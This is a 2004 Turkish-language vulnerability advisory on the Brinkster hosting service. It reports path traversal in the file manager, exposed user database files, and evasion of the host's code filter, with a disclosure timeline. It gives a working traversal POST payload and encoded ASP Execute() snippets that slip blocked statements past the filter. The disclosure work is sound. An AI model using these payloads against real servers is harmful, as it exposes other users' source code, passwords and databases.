Brinkster Güvenlik Açıkları - Türkçe

- ------------------------------------------------------
BRINKSTER GÜVENLİK AÇIKLARI - TÜRKÇE
- ------------------------------------------------------
For English : http://ferruh.mavituna.com/article/?435
Online Adres : http://ferruh.mavituna.com/article/?437

1. Diğer kullanıcıların kaynak koduna ulaşma
Şiddet: Yüksek

2. Diğer Kullanıcıların Veritabanı Dosyalarına Ulaşma
Şiddet: Orta

3. Brinkster Kod Kontollerini Geçme
Şiddet: Orta


- ------------------------------------------------------
BRINKSTER HAKKINDA
- ------------------------------------------------------
Brinkster ücretsiz ve ücretli şekilde hosting hizmeti sağlayan popüler bir web hosting firmasıdır.
www.brinskter.com

- ------------------------------------------------------
AÇIK DURUMU;
- ------------------------------------------------------
(1/26/2004) tarihi itibarı ile halen Brinskter.com açıktır;

- ------------------------------------------------------
1.DİĞER KULLANINILARIN KODLARINA ULAŞMA
- ------------------------------------------------------
Herhangi bir geçerli kullanıcı diğer Brinkster kullanıcılarının kodlarına ulaşabilir. Bunun için ilgili kullanıcı adını ve dosyanın adını bilmesi yeterlidir. Dolayısıyla bir saldırgan diğer brinkster üyelerinin dosyalarının kaynak kodlarını, şifrelerini ve herhangi bir dosyalarının içeriğini görebilir. .asp, .aspx vs. tarzı Serverda işlenen dosyalar olsa bile.


Bu sorun Brinkster' in Dosya yönetim programı ile ilgilidir (http://www.brinkster.com/FileManager.asp). 
Dosya Değiştirme sayfası (http://www.brinkster.com/FileManagerEdit.asp) saldıragnın diğer POST verilerini modifiye ederek diğer kullanıcılarının kaynak kodlarını görmesine izin verir.

	------------------------------------------------------
	URL	: http://www.brinkster.com/FileManagerEdit.asp
	POST	: faction=editfile&file2edit=%5C..%5C[KURBAN KULLANICI ADI]%5C[OKUNACAK DOSYANIN ADI]
	------------------------------------------------------

- ------------------------------------------------------
2. VERİTABANLARINA ERİŞİM
- ------------------------------------------------------
Eğer bir Brinkster kullanıcısının veritabanı dosyasının adını biliyorsanız basit şekilde web üzerinden bu dosyayı download edebilirsiniz. Bu ismi ilk açıktaki yöntemle basitçe bulabilirsiniz.


	------------------------------------------------------
	Veritabanı Adresi;
	http://[BrinksterServer].brinkster.com/[Kullanıcıadı]/db/[Veritabanıadı]
	------------------------------------------------------


- ------------------------------------------------------
3. Kod Kontrollerini Geçme
- ------------------------------------------------------
Brinkster ASP dosyalarında bazı kodlara izin vermez. Örnek olarak "Server.Scripttimeout = 8000" kodunu ücretsiz bir Brinkster üyesi kullanamaz. Dosya Yöneticisi otomatik olarka bu kodları tanı r ve o dosyaları henüz upload ederken iptal eder.

Bu kontrol ASP' nin hazır fonksiyonu olan Execute() ile veya bazı sintaks numaraları ile geçilebilir. Bir stringi basit bir şekilde encode ve decode ederek execute() aracılığı ile çalıştırabilirsiniz.

	------------------------------------------------------
	Örnek Kodlar - İspat;
	------------------------------------------------------	
	1) Simple Method without Execute();
	<%
	 On _
	 Error Resume Next
	%>

	2) Another Method with Execute();
	<%
	Dim onErrorStr
	onErrorStr = "S e r v e r.S c r i p t T i m e o u t-E r r o r-R e s u m e-N e x t"
	Execute(Replace(Replace(onErrorStr," ",""),"-"," "))
	%>


	3) Another one with a Ascii values and Execute();
	This code allows you set "Server.Scripttimeout";
	<%
	Dim converted
	Const errStr =
"083101114118101114046083099114105112116084105109101111117116032061032
057048048048048048048048048 "
		converted = Asc2Str(errStr)
		Execute(converted)

		Response.Write converted	

		Function Asc2Str(byVal text)
			Dim converted, character, i
			For i = 0 to Round((Len(text)-1)/3,0)
				If Len(text) > 2 Then
					character = Chr(Left(text,3))
					converted = converted & character
					text = Right(text,Len(text)-3)
				End If
			Next

			Asc2Str = converted
		End Function
	%>
	------------------------------------------------------
	// -- 
	------------------------------------------------------



- ------------------------------------------------------
HISTORY;
- ------------------------------------------------------
01.01.2004 - Keşfedildi
01.18.2004 - Brinkster Bilgilendirildi
02.08.2004 - Yayınlandı
02.09.2004 - Türkçe Doküman Yayınlandı

- ------------------------------------------------------
Vendor Status;
- ------------------------------------------------------
2 defa tüm detaylar ile iletişim kurulmasına rağmen hiç cevap alınamadı


Ferruh Mavituna
Web Uygulaması Güvenlik Uzmanı
http://ferruh.mavituna.com